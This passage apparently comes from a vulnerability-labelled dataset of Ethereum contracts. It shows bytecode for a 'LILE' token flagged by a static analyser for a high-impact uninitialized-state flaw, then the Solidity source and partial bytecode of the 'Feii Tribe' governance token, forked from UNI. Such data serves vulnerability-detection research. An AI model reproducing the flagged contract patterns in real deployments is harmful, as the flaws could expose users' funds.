03573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600481526020017f4c494c450000000000000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4c494c450000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a7230582041a7cf6a8d988fd304bcd0617bbd3dd9415f76436e8d02f613f12eeb900046a10029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
1,731
0x74e97271ebac4102fc44a970e446bab571e5bbeb
/** *Submitted for verification at Etherscan.io on 2021-04-02 */ // File: contracts/Tribe.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; // Forked from Uniswap's UNI // Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code contract Tribe { /// @notice EIP-20 token name for this token // solhint-disable-next-line const-name-snakecase string public constant name = "Feii Tribe"; /// @notice EIP-20 token symbol for this token // solhint-disable-next-line const-name-snakecase string public constant symbol = "TRIBAL"; /// @notice EIP-20 token decimals for this token // solhint-disable-next-line const-name-snakecase uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation // solhint-disable-next-line const-name-snakecase uint public totalSupply = 1_000_000_000e18; // 1 billion Tribe /// @notice Address which may mint new tokens address public minter; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Tribe token * @param account The initial account to grant all the tokens * @param minter_ The account with minting ability */ constructor(address account, address minter_) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); } /** * @notice Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require(msg.sender == minter, "Tribe: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Tribe: only the minter can mint"); require(dst != address(0), "Tribe: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits"); uint96 safeSupply = safe96(totalSupply, "Tribe: totalSupply exceeds 96 bits"); totalSupply = add96(safeSupply, amount, "Tribe: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "Tribe: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Tribe: invalid signature"); require(signatory == owner, "Tribe: unauthorized"); // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "Tribe: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Tribe: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Tribe: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Tribe: invalid signature"); require(nonce == nonces[signatory]++, "Tribe: invalid nonce"); // solhint-disable-next-line not-rely-on-time require(block.timestamp <= expiry, "Tribe: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Tribe: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Tribe: cannot transfer from the zero address"); require(dst != address(0), "Tribe: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Tribe: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Tribe: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Tribe: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Tribe: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Tribe: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063c3cda5201161007c578063c3cda520146102cc578063d505accf146102df578063dd62ed3e146102f2578063e7a324dc14610305578063f1127ed81461030d578063fca3b5aa1461032e57610158565b806370a0823114610258578063782d6fe11461026b5780637ecebe001461028b57806395d89b411461029e578063a9059cbb146102a6578063b4b5ea57146102b957610158565b806330adf81f1161011557806330adf81f146101e0578063313ce567146101e857806340c10f19146101fd578063587cde1e146102125780635c19a95c146102255780636fcfff451461023857610158565b806306fdde031461015d578063075461721461017b578063095ea7b31461019057806318160ddd146101b057806320606b70146101c557806323b872dd146101cd575b600080fd5b610165610341565b6040516101729190611ae3565b60405180910390f35b610183610367565b6040516101729190611a07565b6101a361019e36600461192a565b610376565b6040516101729190611a35565b6101b8610440565b6040516101729190611a40565b6101b8610446565b6101a36101db36600461187e565b61046a565b6101b86105b9565b6101f06105dd565b6040516101729190611d87565b61021061020b36600461192a565b6105e2565b005b61018361022036600461182f565b6107be565b61021061023336600461182f565b6107d9565b61024b61024636600461182f565b6107e6565b6040516101729190611d57565b6101b861026636600461182f565b6107fe565b61027e61027936600461192a565b610822565b6040516101729190611d95565b6101b861029936600461182f565b610a30565b610165610a42565b6101a36102b436600461192a565b610a64565b61027e6102c736600461182f565b610aab565b6102106102da366004611954565b610b1c565b6102106102ed3660046118be565b610d24565b6101b861030036600461184a565b611033565b6101b8611067565b61032061031b3660046119ad565b61108b565b604051610172929190611d68565b61021061033c36600461182f565b6110c0565b6040518060400160405280600a8152602001694665696920547269626560b01b81525081565b6001546001600160a01b031681565b60008060001983141561038c57506000196103bc565b6103b9836040518060400160405280601d8152602001600080516020611e74833981519152815250611153565b90505b3360008181526002602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c908590611d95565b60405180910390a360019150505b92915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b038316600090815260026020908152604080832033808552908352818420548251808401909352601d8352600080516020611e7483398151915293830193909352916001600160601b03169083906104ca908690611153565b9050866001600160a01b0316836001600160a01b0316141580156104f757506001600160601b0382811614155b156105a15760006105218383604051806060016040528060308152602001611e1e60309139611182565b6001600160a01b038981166000818152600260209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610597908590611d95565b60405180910390a3505b6105ac8787836111c1565b5060019695505050505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b6001546001600160a01b031633146106155760405162461bcd60e51b815260040161060c90611b36565b60405180910390fd5b6001600160a01b03821661063b5760405162461bcd60e51b815260040161060c90611b6d565b600061066a826040518060400160405280601d8152602001600080516020611e74833981519152815250611153565b90506000610692600054604051806060016040528060228152602001611dfc60229139611153565b90506106b78183604051806060016040528060228152602001611dfc60229139611384565b6001600160601b0390811660009081556001600160a01b0386168152600360209081526040918290205482518084019093528183527f54726962653a207472616e7366657220616d6f756e74206f766572666c6f7773918301919091526107219216908490611384565b6001600160a01b03851660008181526003602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061078b908690611d95565b60405180910390a36001600160a01b038085166000908152600460205260408120546107b89216846113c0565b50505050565b6004602052600090815260409020546001600160a01b031681565b6107e3338261158c565b50565b60066020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600360205260409020546001600160601b031690565b60004382106108435760405162461bcd60e51b815260040161060c90611d20565b6001600160a01b03831660009081526006602052604090205463ffffffff168061087157600091505061043a565b6001600160a01b038416600090815260056020908152604080832063ffffffff6000198601811685529252909120541683106108ed576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061043a565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff1683101561092857600091505061043a565b600060001982015b8163ffffffff168163ffffffff1611156109eb57600282820363ffffffff1604810361095a6117f0565b506001600160a01b038716600090815260056020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156109c65760200151945061043a9350505050565b805163ffffffff168711156109dd578193506109e4565b6001820392505b5050610930565b506001600160a01b038516600090815260056020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60076020526000908152604090205481565b6040518060400160405280600681526020016515149250905360d21b81525081565b600080610a94836040518060400160405280601d8152602001600080516020611e74833981519152815250611153565b9050610aa13385836111c1565b5060019392505050565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610ad6576000610b15565b6001600160a01b0383166000908152600560209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600a8152694665696920547269626560b01b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f159752b6ec81171ddcc27a5fbe5bf83af06783383420314878a6429b601ee21c610b8a611610565b30604051602001610b9e9493929190611aa1565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610bef9493929190611a7d565b60405160208183030381529060405280519060200120905060008282604051602001610c1c9291906119ec565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610c599493929190611ac5565b6020604051602081039080840390855afa158015610c7b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610cae5760405162461bcd60e51b815260040161060c90611c67565b6001600160a01b03811660009081526007602052604090208054600181019091558914610ced5760405162461bcd60e51b815260040161060c90611c9e565b87421115610d0d5760405162461bcd60e51b815260040161060c90611bb7565b610d17818b61158c565b505050505b505050505050565b6000600019861415610d395750600019610d69565b610d66866040518060400160405280601d8152602001600080516020611e74833981519152815250611153565b90505b60408051808201909152600a8152694665696920547269626560b01b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f159752b6ec81171ddcc27a5fbe5bf83af06783383420314878a6429b601ee21c610dd7611610565b30604051602001610deb9493929190611aa1565b60408051601f1981840301815282825280516020918201206001600160a01b038d166000908152600783529283208054600181019091559094509192610e5d927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928e928e928e9290918e9101611a49565b60405160208183030381529060405280519060200120905060008282604051602001610e8a9291906119ec565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610ec79493929190611ac5565b6020604051602081039080840390855afa158015610ee9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f1c5760405162461bcd60e51b815260040161060c90611c67565b8b6001600160a01b0316816001600160a01b031614610f4d5760405162461bcd60e51b815260040161060c90611c3a565b88421115610f6d5760405162461bcd60e51b815260040161060c90611bb7565b84600260008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161101d9190611d95565b60405180910390a3505050505050505050505050565b6001600160a01b0391821660009081526002602090815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600560209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6001546001600160a01b031633146110ea5760405162461bcd60e51b815260040161060c90611ccc565b6001546040517f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f691611129916001600160a01b03909116908490611a1b565b60405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b600081600160601b841061117a5760405162461bcd60e51b815260040161060c9190611ae3565b509192915050565b6000836001600160601b0316836001600160601b0316111582906111b95760405162461bcd60e51b815260040161060c9190611ae3565b505050900390565b6001600160a01b0383166111e75760405162461bcd60e51b815260040161060c90611bee565b6001600160a01b03821661120d5760405162461bcd60e51b815260040161060c90611b6d565b6001600160a01b038316600090815260036020908152604091829020548251606081019093526026808452611258936001600160601b039092169285929190611e4e90830139611182565b6001600160a01b03848116600090815260036020908152604080832080546001600160601b0319166001600160601b039687161790559286168252908290205482518084019093528183527f54726962653a207472616e7366657220616d6f756e74206f766572666c6f7773918301919091526112d89216908390611384565b6001600160a01b038381166000818152600360205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611345908590611d95565b60405180910390a36001600160a01b0380841660009081526004602052604080822054858416835291205461137f929182169116836113c0565b505050565b6000838301826001600160601b0380871690831610156113b75760405162461bcd60e51b815260040161060c9190611ae3565b50949350505050565b816001600160a01b0316836001600160a01b0316141580156113eb57506000816001600160601b0316115b1561137f576001600160a01b038316156114c0576001600160a01b03831660009081526006602052604081205463ffffffff16908161142b57600061146a565b6001600160a01b0385166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006114ae82856040518060400160405280601d81526020017f54726962653a20766f746520616d6f756e7420756e646572666c6f7773000000815250611182565b90506114bc86848484611614565b5050505b6001600160a01b0382161561137f576001600160a01b03821660009081526006602052604081205463ffffffff1690816114fb57600061153a565b6001600160a01b0384166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061157e82856040518060400160405280601c81526020017f54726962653a20766f746520616d6f756e74206f766572666c6f777300000000815250611384565b9050610d1c85848484611614565b6001600160a01b03808316600081815260046020818152604080842080546003845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46107b88284836113c0565b4690565b6000611638436040518060600